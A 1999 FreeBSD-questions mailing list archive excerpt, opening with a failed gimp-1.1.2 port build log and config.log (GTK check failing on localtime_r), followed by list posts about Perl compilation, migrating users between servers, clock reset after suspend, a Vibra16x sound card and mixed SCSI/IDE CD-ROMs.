===>  Extracting for gimp-1.1.2
>> Checksum OK for gimp-1.1.2.tar.gz.
===>   gimp-1.1.2 depends on executable: gmake - found
===>   gimp-1.1.2 depends on shared library: Xpm.4 - found
===>   gimp-1.1.2 depends on shared library: aa.1 - found
===>   gimp-1.1.2 depends on shared library: jpeg.9 - found
===>   gimp-1.1.2 depends on shared library: gtk12.1 - found
===>   gimp-1.1.2 depends on shared library: mpeg.1 - found
===>   gimp-1.1.2 depends on shared library: png.3 - found
===>   gimp-1.1.2 depends on shared library: tiff.4 - found
===>   gimp-1.1.2 depends on shared library: X11.6 - found
===>  Patching for gimp-1.1.2
===>  Applying FreeBSD patches for gimp-1.1.2
===>  Configuring for gimp-1.1.2
creating cache ./config.cache
checking for a BSD compatible install... /usr/bin/install -c -o root -g wheel
checking whether build environment is sane... yes
checking whether make sets ${MAKE}... yes
checking for working aclocal... missing
checking for working autoconf... missing
checking for working automake... missing
checking for working autoheader... missing
checking for working makeinfo... found
checking host system type... i386--freebsd3.0
checking build system type... i386--freebsd3.0
checking for ranlib... ranlib
checking for gcc... cc
checking whether the C compiler (cc -O -pipe ) works... yes
checking whether the C compiler (cc -O -pipe ) is a cross-compiler... no
checking whether we are using GNU C... yes
checking whether cc accepts -g... yes
checking for ld used by GCC... /usr/libexec/elf/ld
checking if the linker (/usr/libexec/elf/ld) is GNU ld... yes
checking for BSD-compatible nm... /usr/bin/nm -B
checking command to parse /usr/bin/nm -B output... yes
checking for _ prefix in compiled symbols... (cached) no
checking whether ln -s works... yes
checking for object suffix... o
checking for cc option to produce PIC... -fPIC
checking if cc PIC flag -fPIC works... yes
checking if cc supports -c -o file.o... yes
checking if cc supports -c -o file.lo... yes
checking if cc supports -fno-rtti -fno-exceptions ... no
checking if cc static flag -static works... -static
checking if the linker (/usr/libexec/elf/ld) is GNU ld... yes
checking whether the linker (/usr/libexec/elf/ld) supports shared libraries... yes
checking command to parse /usr/bin/nm -B output... yes
checking how to hardcode library paths into programs... immediate
checking for /usr/libexec/elf/ld option to reload object files... -r
checking dynamic linker characteristics... freebsd3.0 ld.so
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... yes
checking for objdir... .libs
creating libtool
checking whether to enable maintainer-specific portions of Makefiles... no
checking host system type... i386--freebsd3.0
checking for gcc... (cached) cc
checking whether the C compiler (cc -O -pipe ) works... yes
checking whether the C compiler (cc -O -pipe ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether cc accepts -g... (cached) yes
checking for POSIXized ISC... no
checking for cc option to accept ANSI C... none needed
checking for a BSD compatible install... /usr/bin/install -c -o root -g wheel
checking whether ln -s works... (cached) yes
checking whether make sets ${MAKE}... (cached) yes
checking how to run the C preprocessor... cc -E
checking for ANSI C header files... yes
checking for working const... yes
checking for inline... inline
checking for off_t... yes
checking for size_t... yes
checking for working alloca.h... no
checking for alloca... yes
checking for unistd.h... yes
checking for getpagesize... yes
checking for working mmap... yes
checking for argz.h... no
checking for limits.h... yes
checking for locale.h... yes
checking for nl_types.h... yes
checking for malloc.h... no
checking for string.h... yes
checking for unistd.h... (cached) yes
checking for sys/param.h... yes
checking for getcwd... yes
checking for munmap... yes
checking for putenv... yes
checking for setenv... yes
checking for setlocale... yes
checking for strchr... yes
checking for strcasecmp... yes
checking for strdup... yes
checking for __argz_count... no
checking for __argz_stringify... no
checking for __argz_next... no
checking for stpcpy... no
checking for LC_MESSAGES... yes
checking whether NLS is requested... yes
checking whether included gettext is requested... no
checking for libintl.h... yes
checking for gettext in libc... no
checking for bindtextdomain in -lintl... yes
checking for gettext in libintl... checking for gettext in -lintl... yes
yes
checking for msgfmt... /usr/local/bin/msgfmt
checking for dcgettext... no
checking for gmsgfmt... /usr/local/bin/msgfmt
checking for xgettext... /usr/local/bin/xgettext
checking for catalogs to be installed...  fr sv ja it fi ko de hu nl pl
checking for gtk-config... /usr/X11R6/bin/gtk12-config
checking for GTK - version >= 1.1.13... no
*** Could not run GTK test program, checking why...
*** The test program failed to compile or link. See the file config.log for the
*** exact error that occured. This usually means GTK was incorrectly installed
*** or that you have moved GTK since it was installed. In the latter case, you
*** may want to edit the gtk-config script: /usr/X11R6/bin/gtk12-config
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.

The config.log file gives this:

This file contains any messages produced by compilers while
running configure, to aid debugging if configure makes a mistake.

configure:625: checking for a BSD compatible install
configure:678: checking whether build environment is sane
configure:735: checking whether make sets ${MAKE}
configure:774: checking for working aclocal
configure:787: checking for working autoconf
configure:800: checking for working automake
configure:813: checking for working autoheader
configure:826: checking for working makeinfo
configure:897: checking host system type
configure:918: checking build system type
configure:938: checking for ranlib
configure:968: checking for gcc
configure:1081: checking whether the C compiler (cc -O -pipe ) works
configure:1097: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:1123: checking whether the C compiler (cc -O -pipe ) is a cross-compiler
configure:1128: checking whether we are using GNU C
configure:1137: cc -E conftest.c
configure:1156: checking whether cc accepts -g
configure:1199: checking for ld used by GCC
configure:1292: checking if the linker (/usr/libexec/elf/ld) is GNU ld
GNU ld version 2.9.1 (with BFD 2.9.1)
configure:1308: checking for BSD-compatible nm
configure:1346: checking command to parse /usr/bin/nm -B output
configure:1406: cc -c -O -pipe -I/usr/local/include conftest.c 1>&5
configure:1410: /usr/bin/nm -B conftest.o | sed -n -e 's/^.* [ABCDGISTW] \([_A-Za-z][_A-Za-z0-9]*\)$/\1 \1/p' > conftest.nm
configure:1462: cc -o conftest -O -pipe -I/usr/local/include  conftest.c conftestm.o 1>&5
configure:1508: checking for _ prefix in compiled symbols
configure:1546: checking whether ln -s works
ltconfig:563: checking for object suffix
ltconfig:564: cc -c -O -pipe -I/usr/local/include conftest.c 1>&5
ltconfig:694: checking if cc PIC flag -fPIC works
ltconfig:695: cc -c -O -pipe -fPIC -DPIC -I/usr/local/include conftest.c 1>&5
ltconfig:737: checking if cc supports -c -o file.o
ltconfig:738: cc -c -O -pipe -c -o conftest2.o -I/usr/local/include conftest.c 1>&5
ltconfig:765: checking if cc supports -c -o file.lo
ltconfig:766: cc -c -O -pipe -c -o conftest.lo -I/usr/local/include conftest.c 1>&5
ltconfig:817: checking if cc supports -fno-rtti -fno-exceptions
ltconfig:818: cc -c -O -pipe -fno-rtti -fno-exceptions -c conftest.c -I/usr/local/include conftest.c 1>&5
cc1: Invalid option `-fno-exceptions'
cc1: Invalid option `-fno-exceptions'
ltconfig:861: checking if cc static flag -static works
ltconfig:862: cc -o conftest -O -pipe -I/usr/local/include  -static conftest.c -L/usr/local/lib 1>&5
GNU ld version 2.9.1 (with BFD 2.9.1)
ltconfig:1466: checking if global_symbol_pipe works
ltconfig:1467: cc -c -O -pipe -I/usr/local/include conftest.c 1>&5
ltconfig:1470: eval "/usr/bin/nm -B conftest.o | sed -n -e 's/^.* [ABCDGISTW] \([_A-Za-z][_A-Za-z0-9]*\)$/\1 \1/p' > conftest.nm"
ltconfig:1522: cc -o conftest -O -pipe -fno-builtin -I/usr/local/include  conftest.c conftestm.o 1>&5
configure:1814: checking whether to enable maintainer-specific portions of Makefiles
configure:1844: checking host system type
configure:1868: checking for gcc
configure:1981: checking whether the C compiler (cc -O -pipe ) works
configure:1997: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:2023: checking whether the C compiler (cc -O -pipe ) is a cross-compiler
configure:2028: checking whether we are using GNU C
configure:2056: checking whether cc accepts -g
configure:2088: checking for POSIXized ISC
configure:2112: checking for cc option to accept ANSI C
configure:2165: cc  -c -O -pipe -I/usr/local/include conftest.c 1>&5
configure:2200: checking for a BSD compatible install
configure:2253: checking whether ln -s works
configure:2274: checking whether make sets ${MAKE}
configure:2301: checking how to run the C preprocessor
configure:2322: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:2490: checking for ANSI C header files
configure:2503: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:2570: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:2594: checking for working const
configure:2648: cc -c -O -pipe -I/usr/local/include conftest.c 1>&5
configure:2669: checking for inline
configure:2683: cc -c -O -pipe -I/usr/local/include conftest.c 1>&5
configure:2709: checking for off_t
configure:2742: checking for size_t
configure:2777: checking for working alloca.h
configure:2789: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:2783: alloca.h: No such file or directory
configure: failed program was:
#line 2782 "configure"
#include "confdefs.h"
#include <alloca.h>
int main() {
char *p = alloca(2 * sizeof(int));
; return 0; }
configure:2810: checking for alloca
configure:2843: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3012: checking for unistd.h
configure:3022: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3051: checking for getpagesize
configure:3079: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3104: checking for working mmap
configure:3252: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3280: checking for argz.h
configure:3290: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3286: argz.h: No such file or directory
configure: failed program was:
#line 3285 "configure"
#include "confdefs.h"
#include <argz.h>
configure:3280: checking for limits.h
configure:3290: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3280: checking for locale.h
configure:3290: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3280: checking for nl_types.h
configure:3290: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3280: checking for malloc.h
configure:3290: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
In file included from configure:3286:
/usr/include/malloc.h:2: warning: #warning "this file includes <malloc.h> which is deprecated, use <stdlib.h> instead"
configure: failed program was:
#line 3285 "configure"
#include "confdefs.h"
#include <malloc.h>
configure:3280: checking for string.h
configure:3290: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3280: checking for unistd.h
configure:3280: checking for sys/param.h
configure:3290: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3320: checking for getcwd
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for munmap
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for putenv
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for setenv
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for setlocale
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for strchr
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for strcasecmp
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for strdup
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3320: checking for __argz_count
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
/var/tmp/ccwW40751.o: In function `main':
/var/tmp/ccwW40751.o(.text+0x4): undefined reference to `__argz_count'
configure: failed program was:
#line 3325 "configure"
#include "confdefs.h"
/* System header to define __stub macros and hopefully few prototypes,
    which can conflict with char __argz_count(); below.  */
#include <assert.h>
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char __argz_count();

int main() {

/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS.  Some functions are actually named
    something starting with __ and the normal name is an alias.  */
#if defined (__stub___argz_count) || defined (__stub_____argz_count)
choke me
#else
__argz_count();
#endif

; return 0; }
configure:3320: checking for __argz_stringify
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
/var/tmp/ccBH40891.o: In function `main':
/var/tmp/ccBH40891.o(.text+0x4): undefined reference to `__argz_stringify'
configure: failed program was:
#line 3325 "configure"
#include "confdefs.h"
/* System header to define __stub macros and hopefully few prototypes,
    which can conflict with char __argz_stringify(); below.  */
#include <assert.h>
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char __argz_stringify();

int main() {

/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS.  Some functions are actually named
    something starting with __ and the normal name is an alias.  */
#if defined (__stub___argz_stringify) || defined (__stub_____argz_stringify)
choke me
#else
__argz_stringify();
#endif

; return 0; }
configure:3320: checking for __argz_next
configure:3348: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
/var/tmp/ccdW41031.o: In function `main':
/var/tmp/ccdW41031.o(.text+0x4): undefined reference to `__argz_next'
configure: failed program was:
#line 3325 "configure"
#include "confdefs.h"
/* System header to define __stub macros and hopefully few prototypes,
    which can conflict with char __argz_next(); below.  */
#include <assert.h>
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char __argz_next();

int main() {

/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS.  Some functions are actually named
    something starting with __ and the normal name is an alias.  */
#if defined (__stub___argz_next) || defined (__stub_____argz_next)
choke me
#else
__argz_next();
#endif

; return 0; }
configure:3377: checking for stpcpy
configure:3405: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
/var/tmp/cclO41181.o: In function `main':
/var/tmp/cclO41181.o(.text+0x4): undefined reference to `stpcpy'
configure: failed program was:
#line 3382 "configure"
#include "confdefs.h"
/* System header to define __stub macros and hopefully few prototypes,
    which can conflict with char stpcpy(); below.  */
#include <assert.h>
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char stpcpy();

int main() {

/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS.  Some functions are actually named
    something starting with __ and the normal name is an alias.  */
#if defined (__stub_stpcpy) || defined (__stub___stpcpy)
choke me
#else
stpcpy();
#endif

; return 0; }
configure:3439: checking for LC_MESSAGES
configure:3451: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
configure:3472: checking whether NLS is requested
configure:3492: checking whether included gettext is requested
configure:3511: checking for libintl.h
configure:3521: cc -E -I/usr/local/include conftest.c >/dev/null 2>conftest.out
configure:3538: checking for gettext in libc
configure:3550: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
/var/tmp/ccrG41711.o: In function `main':
/var/tmp/ccrG41711.o(.text+0x9): undefined reference to `gettext'
configure: failed program was:
#line 3543 "configure"
#include "confdefs.h"
#include <libintl.h>
int main() {
return (int) gettext ("")
; return 0; }
configure:3566: checking for bindtextdomain in -lintl
configure:3585: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -lintl  -L/usr/local/lib 1>&5
configure:3601: checking for gettext in libintl
configure:3606: checking for gettext in -lintl
configure:3625: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -lintl  -L/usr/local/lib 1>&5
configure:3664: checking for msgfmt
configure:3698: checking for dcgettext
configure:3726: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
/var/tmp/ccUB42431.o: In function `main':
/var/tmp/ccUB42431.o(.text+0x4): undefined reference to `dcgettext'
configure: failed program was:
#line 3703 "configure"
#include "confdefs.h"
/* System header to define __stub macros and hopefully few prototypes,
    which can conflict with char dcgettext(); below.  */
#include <assert.h>
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char dcgettext();

int main() {

/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS.  Some functions are actually named
    something starting with __ and the normal name is an alias.  */
#if defined (__stub_dcgettext) || defined (__stub___dcgettext)
choke me
#else
dcgettext();
#endif

; return 0; }
configure:3753: checking for gmsgfmt
configure:3789: checking for xgettext
configure:3829: cc -o conftest -O -pipe -I/usr/local/include  conftest.c -L/usr/local/lib 1>&5
/var/tmp/ccjR42941.o: In function `main':
/var/tmp/ccjR42941.o(.text+0x4): undefined reference to `_nl_msg_cat_cntr'
configure: failed program was:
#line 3821 "configure"
#include "confdefs.h"

int main() {
extern int _nl_msg_cat_cntr;
			       return _nl_msg_cat_cntr
; return 0; }
configure:4287: checking for catalogs to be installed
configure:4440: checking for gtk-config
configure:4475: checking for GTK - version >= 1.1.13
configure:4576: cc -o conftest -O -pipe -I/usr/X11R6/include/gtk12 -I/usr/X11R6/include -I/usr/local/include/glib12 -I/usr/local/include  conftest.c -L/usr/X11R6/lib -L/usr/X11R6/lib -lgtk12 -lgdk12 -L/usr/local/lib -Wl,-E -lgmodule12 -lglib12 -lintl -lXext -lX11 -lm -L/usr/local/lib 1>&5
/usr/local/lib/libglib12.so: undefined reference to `localtime_r'
configure: failed program was:
#line 4498 "configure"
#include "confdefs.h"

#include <gtk/gtk.h>
#include <stdio.h>
#include <stdlib.h>

int 
main ()
{
  int major, minor, micro;
  char *tmp_version;

  system ("touch conf.gtktest");

  /* HP/UX 9 (%@#!) writes to sscanf strings */
  tmp_version = g_strdup("1.1.13");
  if (sscanf(tmp_version, "%d.%d.%d", &major, &minor, &micro) != 3) {
     printf("%s, bad version string\n", "1.1.13");
     exit(1);
   }

  if ((gtk_major_version != 1) ||
      (gtk_minor_version != 2) ||
      (gtk_micro_version != 0))
    {
      printf("\n*** 'gtk-config --version' returned %d.%d.%d, but GTK+ (%d.%d.%d)\n", 
             1, 2, 0,
             gtk_major_version, gtk_minor_version, gtk_micro_version);
      printf ("*** was found! If gtk-config was correct, then it is best\n");
      printf ("*** to remove the old version of GTK+. You may also be able to fix the error\n");
      printf("*** by modifying your LD_LIBRARY_PATH enviroment variable, or by editing\n");
      printf("*** /etc/ld.so.conf. Make sure you have run ldconfig if that is\n");
      printf("*** required on your system.\n");
      printf("*** If gtk-config was wrong, set the environment variable GTK_CONFIG\n");
      printf("*** to point to the correct copy of gtk-config, and remove the file config.cache\n");
      printf("*** before re-running configure\n");
    } 
#if defined (GTK_MAJOR_VERSION) && defined (GTK_MINOR_VERSION) && defined (GTK_MICRO_VERSION)
  else if ((gtk_major_version != GTK_MAJOR_VERSION) ||
	   (gtk_minor_version != GTK_MINOR_VERSION) ||
           (gtk_micro_version != GTK_MICRO_VERSION))
    {
      printf("*** GTK+ header files (version %d.%d.%d) do not match\n",
	     GTK_MAJOR_VERSION, GTK_MINOR_VERSION, GTK_MICRO_VERSION);
      printf("*** library (version %d.%d.%d)\n",
	     gtk_major_version, gtk_minor_version, gtk_micro_version);
    }
#endif /* defined (GTK_MAJOR_VERSION) ... */
  else
    {
      if ((gtk_major_version > major) ||
        ((gtk_major_version == major) && (gtk_minor_version > minor)) ||
        ((gtk_major_version == major) && (gtk_minor_version == minor) && (gtk_micro_version >= micro)))
      {
        return 0;
       }
     else
      {
        printf("\n*** An old version of GTK+ (%d.%d.%d) was found.\n",
               gtk_major_version, gtk_minor_version, gtk_micro_version);
        printf("*** You need a version of GTK+ newer than %d.%d.%d. The latest version of\n",
	       major, minor, micro);
        printf("*** GTK+ is always available from ftp://ftp.gtk.org.\n");
        printf("***\n");
        printf("*** If you have already installed a sufficiently new version, this error\n");
        printf("*** probably means that the wrong copy of the gtk-config shell script is\n");
        printf("*** being found. The easiest way to fix this is to remove the old version\n");
        printf("*** of GTK+, but you can also set the GTK_CONFIG environment to point to the\n");
        printf("*** correct copy of gtk-config. (In this case, you will have to\n");
        printf("*** modify your LD_LIBRARY_PATH enviroment variable, or edit /etc/ld.so.conf\n");
        printf("*** so that the correct libraries are found at run-time))\n");
      }
    }
  return 1;
}

configure:4620: cc -o conftest -O -pipe -I/usr/X11R6/include/gtk12 -I/usr/X11R6/include -I/usr/local/include/glib12 -I/usr/local/include  conftest.c -L/usr/local/lib -L/usr/X11R6/lib -L/usr/X11R6/lib -lgtk12 -lgdk12 -L/usr/local/lib -Wl,-E -lgmodule12 -lglib12 -lintl -lXext -lX11 -lm 1>&5
/usr/local/lib/libglib12.so: undefined reference to `localtime_r'
configure: failed program was:
#line 4610 "configure"
#include "confdefs.h"

#include <gtk/gtk.h>
#include <stdio.h>

int main() {
 return ((gtk_major_version) || (gtk_minor_version) || (gtk_micro_version)); 
; return 0; }



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From owner-freebsd-questions  Wed Mar 24 11:49: 8 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from gold.sdln.net (gold.sdln.net [204.52.252.74])
	by hub.freebsd.org (Postfix) with ESMTP id DD69215309
	for <freebsd-questions@FreeBSD.ORG>; Wed, 24 Mar 1999 11:48:52 -0800 (PST)
	(envelope-from cchrstns@sdln.net)
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	(envelope-from cchrstns@sdln.net)
Message-ID: <00a701be762e$c9c5a8e0$5dfc34cc@sdln.net>
From: "Corey A. Christians" <cchrstns@sdln.net>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Compiling perl on FreeBSD 3.0
Date: Wed, 24 Mar 1999 12:44:53 -0700
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Recently I tried to compile the newest version of PERL on FreeBSD 3.0.  =
The problem that I cnofronted is that it would not compile.  Has anyone =
else run into this problem?  I finally went back to 2.2.8 and then Perl =
compiled so it has to be something with the newest version.=20

~~~~~~~~~~~~~~
| Corey Christians
| South Dakota Library Network
| Programmer/Analyst
| Phone:  605-642-6732
|1200 University, Spearfish, SD, 57799

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<DIV><FONT face=3DArial size=3D2>Recently I tried to compile the newest =
version of=20
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From owner-freebsd-questions  Wed Mar 24 11:58:57 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 12:57:29 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: mbermal@ucsd.edu
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Gimp/GTK install troubles (with logs!)
In-Reply-To: <Pine.BSF.4.05.9903241138090.4423-100000@celerystick.inetworld.net>
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Hi,

On Wed, 24 Mar 1999, Mark Bermal wrote:

-mucho configure junk snipped-

> checking for gtk-config... /usr/X11R6/bin/gtk12-config
> checking for GTK - version >= 1.1.13... no
> *** Could not run GTK test program, checking why...

okay...

> configure:4620: cc -o conftest -O -pipe -I/usr/X11R6/include/gtk12
> -I/usr/X11R6/include -I/usr/local/include/glib12 -I/usr/local/include
> conftest.c -L/usr/local/lib -L/usr/X11R6/lib -L/usr/X11R6/lib -lgtk12
> -lgdk12 -L/usr/local/lib -Wl,-E -lgmodule12 -lglib12 -lintl -lXext
> -lX11 -lm 1>&5

> /usr/local/lib/libglib12.so: undefined reference to `localtime_r'
> configure: failed program was:
> #line 4610 "configure"
> #include "confdefs.h"

Hmmm... that's strange.  I just built gimp-1.1.2 a week ago and I have
localtime_r in my glib12.  How did you install glib?  What version of
FreeBSD are you using?

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Wed Mar 24 12: 6:28 1999
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From: Seth Owen <seth@pchelp.net>
To: freebsd-questions@FreeBSD.ORG
Subject: Moving users to a second server
Date: Wed, 24 Mar 1999 14:09:40 -0600
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Hello all,

I have one FreeBSD 2.2.6 server with about 300+ users, each user has a
/home/user directory.
What is the easiest way to replicated the users and directories to a
second new FreeBSD 3.1 server?

Would a script file reading the /etc/master.passwd file then using
"adduser (parameters)" work?
If so...anyone have a sample script.
Thanks,

Seth Owen

The PC Help Group, Inc.
"Networking solutions and Internet connections."
Phone: 414-523-1350            Fax: 414-523-1388
Email:  seth@pchelp.net    http://www.pchelp.net



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From owner-freebsd-questions  Wed Mar 24 12:10:56 1999
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From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <199903242010.PAA72416@lakes.dignus.com>
To: freebsd-questions@FreeBSD.ORG, seth@pchelp.net
Subject: Re: Moving users to a second server
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> Hello all,
> 
> I have one FreeBSD 2.2.6 server with about 300+ users, each user has a
> /home/user directory.
> What is the easiest way to replicated the users and directories to a
> second new FreeBSD 3.1 server?
> 
> Would a script file reading the /etc/master.passwd file then using
> "adduser (parameters)" work?
> If so...anyone have a sample script.
> Thanks,

  Actually, this is what I do:

	On the new machine:
		vipw

	Read the old /etc/master.passwd from the old machine.
	Edit out duplicate entries (like "root", "toor", "uucp", etc...)

 *poof* - you're done.

 This assumes you're using the same encryption scheme on both machines.

 The result is that every has the same passwords they had before, 
the same UID, GID, etc...

 Then, you simply need to copy all the /home/user directories to
the new machine & you're finished.

	- Dave Rivers -


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From owner-freebsd-questions  Wed Mar 24 12:14: 3 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 12:12:29 -0800 (PST)
From: rick hamell <hamellr@dsinw.com>
To: bind@tcart.eglin.af.mil
Cc: "'freebsd-questions@freebsd.org'" <freebsd-questions@FreeBSD.ORG>
Subject: Re: Resetting OS clock after sleep/suspend
In-Reply-To: <52FD0C8763EFD111AE540060973D2ED82292F6@vxnt2.eglin.af.mil>
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> First question:  Is using this feature a no-no that could trash the file 
> system(s)?

	I've always felt this. Even though FreeBSD does a good job of 
coming back I've never really wanted to risk it. The problem is sleep 
mode is really only good for laptops and monitors. The amount of 
electricity saved is so minimal it's not really worth it. I've run 
experiments at home on this. My findings have been that turning a regular 
60watt bulb or a small tv off saves more power then four PC's and a Sparc 
machine do.


> Second question:  After I have done this, is there a way to reset the OS 
> clock to the physical clock in the computer short of rebooting? (without 
> resorting to some internet based time source).

	Man date says 'display or set date and time'


						Rick



---- "Religion exists because man can't belive that he's nothing more 
then a random accident."

 http://www.grendal.org



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From owner-freebsd-questions  Wed Mar 24 12:22:39 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 14:22:11 -0600 (CST)
From: Vikram Kanodia <kanodia@rice.edu>
To: freebsd-questions@freebsd.org
Subject:  vibra16x sound card
Message-ID: <Pine.SOL.4.05.9903241415430.20061-100000@ece.rice.edu>
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hi everybody...

i have a creative labs soundblaster16 PnP soundcard(Vibra16x) and am
having a bit of a problem gettng it to work with FreeBSD 3.1.....any help
is appreciated...


 *** the relevant portion of my kernel****

controller pnp0
device pcm0 at isa? ort 0x220 tty irq5 drq 1 flags 0x0 vector pcmintr


*****at the time of boot up,i enable the device by:****

boot -c
config> pnp 1 0 os enable irq0 5 drq0 1 port0 0x220

****o/p of cat /dev/sndstat *********

FreeBSD Audio Driver (981002) Mar 24 1999 12:35:23
Installed devices:
pcm1: <SoundBlaster 16 4.16> at 0x220 irq 5 dma 1:0

******* dmesg,before atempting to play anything... ********
(relevant portion only!!!)

Probing for PnP devices:
CSN 1 Vendor ID: CTL00f0 [0xf0008c0e] Serial 0xffffffff Comp ID: PNPb02f
[0x2fb
d041]
pcm1 (SB16pnp <Vibra16X> sn 0xffffffff) at 0x220-0x22f irq 5 drq 1 flags
0x10 o
 isa
Probing for devices on the ISA bus:
sc0 on isa
sc0: VGA color <16 virtual consoles, flags=0x0>
atkbdc0 at 0x60-0x6f on motherboard
atkbd0 irq 1 on isa
psm0 irq 12 on isa
psm0: model IntelliMouse, device ID 3
sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa
sio0: type 16550A
sio1 at 0x2f8-0x2ff irq 3 on isa
sio1: type 16550A
pcm0 not probed due to I/O address conflict with pcm1 at 0x220

*********** when attempting to play *********

>mpg123 sound.mp2       #sound.mp2 is downloaded from web #

High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3.
Version 0.59q (1999/Jan/26). Written and copyrights by Michael Hipp.
Uses code from various people. See 'README' for more!
THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK!
Can't open /dev/dsp!

******************** dmesg output after attempting to play *****

pcm0: unit not configured, perhaps you want pcm1 ?


so after a suggestion from luigi i linked the files /dev/dsp,/dev/audio
etc to /dev/dsp1,/dev/audio1 etc.....

but now when i attempt playing anything(mpg123 sound.mp3),i get about half
second of sound followed by silence.....it just hangs in.....

dmesg o/p reads:

tsleep returns 4

and after some more time,i get on dmesg:

timeout flushing dbuf_out, chan 1 cnt 0x6a84 flags 0x00004041



what could be the problem and how do i go about solving it???

thanks
vikram
kanodia@rice.edu



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From owner-freebsd-questions  Wed Mar 24 12:26:58 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 12:25:31 -0800 (PST)
From: rick hamell <hamellr@dsinw.com>
To: "Cambria, Mike" <mcambria@lucent.com>
Cc: "'freebsd-questions@freebsd.org'" <freebsd-questions@FreeBSD.ORG>
Subject: Re: FreeBSD SCSI and non-SCSI CD-ROM coexistence ??
In-Reply-To: <75ADD7496F0BD211ADC000104B8846CF562F7E@rerun.lucentctc.com>
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> Since this new system will come with an IDE based CDROM I'd like to know if
> FreeBSD 3.1 will behave with one non-SCSI CDROM and (at least) one SCSI
> CDROM.
> 
> Does anyone have any experience with this configuration?

	I've never had problems with it under 2.2.6 through 2.2.8 I've 
not tried anything higher yet. I'm using a NEC 6x SCSI CDROM with it's 
own proprietay SCSI card and a NEC 4x4 CDRom changer on the secondary IDE 
as master. There is also a SCSI HD on another SCSI controller.


						Rick


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From owner-freebsd-questions  Wed Mar 24 12:30:56 1999
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Date: Wed, 24 Mar 1999 12:29:07 -0800 (PST)
From: rick hamell <hamellr@dsinw.com>
